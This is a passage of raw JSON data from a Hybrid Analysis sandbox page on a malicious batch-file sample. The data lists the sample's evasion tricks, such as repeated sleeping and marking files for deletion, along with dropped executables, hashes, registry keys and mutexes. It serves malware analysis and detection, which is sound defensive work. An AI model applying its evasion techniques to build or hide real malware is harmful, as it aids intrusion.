parameter \"NETWORK SERVICE\" - (UID: 00000000-00008164)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"kk.bat.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133204292598432542.8164.DefaultAppDomain.kk.bat\" - (UID: 00000000-00008164)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"kk.bat.exe\" as clean (type is \"PE32+ executable (console) x86-64 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"General","name":"Possibly use system binaries","description":"Observed system executable string:\"%WINDIR%\\System32\\conhost.exe\" [Source: 00000000-00008176-00000BC0-67534396]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"kk.bat.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"kk.bat.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"- Location: [C:\\kk.bat.exe]- [targetUID: 00000000-00008164]\n \"kk.bat.exe.log\" has type \"ASCII text with CRLF line terminators\"- Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\kk.bat.exe.log]- [targetUID: 00000000-00008164]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00008164]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"kk.bat.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\kk.bat.exe.log\"\n \"kk.bat.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\kk.bat.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"kk.bat.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00008164)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"kk.bat.exe\" (Thread ID: 3744) slept \"520\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"kk.bat.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"- Location: [C:\\kk.bat.exe]- [targetUID: 00000000-00008164]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"kk.bat.exe\" called \"GetDriveTypeW\" (UID: 00000000-00008164)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"kk.bat.exe\" marked \"%TEMP%\\__PSScriptPolicyTest_tmrsjxby.lwu.ps1\" for deletion\n \"kk.bat.exe\" marked \"%TEMP%\\__PSScriptPolicyTest_cx4wujjy.ydu.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00002700-39358-18-3F40B66C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]}],"incidents":[{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":106,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":8,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"63e6d2457c6a2048932c3543","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.BAT.ONDlder.A","submit_name":"9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat","analysis_start_time":"2023-02-10T23:24:54+00:00","indicators_count":{"informative":53,"suspicious":10,"malicious":2},"tags":["Multi-Process"],"is_in_unified_schema":true},{"id":"63e50c83a8a908711222480d","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.BAT.ONDlder.A","submit_name":"kk.bat","analysis_start_time":"2023-02-09T15:08:51+00:00","indicators_count":{"informative":33,"suspicious":21,"malicious":2},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"63e50563d0bfa17ca46e4c3c","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.BAT.ONDlder.A","submit_name":"kk.bat","analysis_start_time":"2023-02-09T14:38:28+00:00","indicators_count":{"informative":48,"suspicious":7,"malicious":2},"tags":["Multi-Process"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}],"processes":[{"pid":3700,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat\" \"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00003700","icon":"$2d"},{"pid":2952,"ppid":3700,"name":"9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.exe","command_line":"$2e","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"C:\\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.exe","parent_uid":"00000000-00003700","uid":"00000000-00002952"}],"all_imported_dlls":["imm32.dll","ws2_32.dll","shlwapi.dll","comctl32.dll","user32.dll","uxtheme.dll","System.Core.ni.dll","Microsoft.PowerShell.Security.ni.dll","secur32.dll","msvcrt.dll","apphelp.dll","setupapi.dll","msasn1.dll","fltLib.dll","KernelBase.dll","ntmarta.dll","mscorwks.dll","rsaenh.dll","System.Transactions.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","System.Xml.ni.dll","api-ms-win-core-synch-l1-2-0.dll","shfolder.dll","System.Data.dll","diasymreader.dll","gdi32.dll","msvcr80.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","cfgmgr32.dll","atl.dll","Wldap32.dll","shdocvw.dll","tzres.dll","winbrand.dll","lpk.dll","usp10.dll","nsi.dll","advapi32.dll","ole32.dll","oleaut32.dll","sechost.dll","rpcrt4.dll","System.Management.Automation.dll","System.Data.ni.dll","mscorjit.dll","devobj.dll","version.dll","System.Management.Automation.ni.dll","mscoreei.dll","mscorlib.ni.dll","sspicli.dll","mscoree.dll","System.ni.dll","System.Transactions.dll","System.DirectoryServices.ni.dll","ntdll.dll","msctf.dll","shell32.dll","Microsoft.WSMan.Runtime.dll","rpcss.dll","profapi.dll","psapi.dll","System.Configuration.Install.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","mscorrc.dll","crypt32.dll","clbcatq.dll","userenv.dll","propsys.dll","cryptsp.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","cryptbase.dll","kernel32.dll","Microsoft.WSMan.Management.ni.dll","System.Management.ni.dll","amsi.dll","ucrtbase_clr0400.dll","SHCore.dll","powrprof.dll","vcruntime140_clr0400.dll","combase.dll","windows.storage.dll","wintrust.dll","Microsoft.Management.Infrastructure.ni.dll","wldp.dll","u1032J5R.dll","wbemcomn.dll","gdi32full.dll","bcrypt.dll","msvcp_win.dll","cmdext.dll","System.Configuration.ni.dll","gpapi.dll","win32u.dll","ucrtbase.dll","kernel.appcore.dll","winnlsres.dll","VxSSL64.dll","wmiutils.dll","WMINet_Utils.dll","clrjit.dll","wbemprox.dll","clr.dll","bcryptprimitives.dll","wbemsvc.dll","fastprox.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"kk.bat.exe","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"name":"kk.bat.exe.log","sha256":"819e84587b6f747bee22bd8b4cfeba2e58c2dbdf3023afbdb5f57323d21454aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"name":"StartupProfileData-NonInteractive","sha256":"ff8589b9d82d44f2089fe518a366b3ece0ff242c15e9821b53a78a7e2fb2373b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\kk.bat.exe.log","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8164:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"name":"Local\\SM0:8164:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]}]}},"report_ids":{"sandbox_job_ids":["63e6d2457c6a2048932c3543","63e50c83a8a908711222480d","63e50563d0bfa17ca46e4c3c"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 9800bef9d493… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 9800bef9d493…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 9800bef9d493… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 9800bef9d493…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 9800bef9d493… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 9800bef9d493…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2f","11",{}]]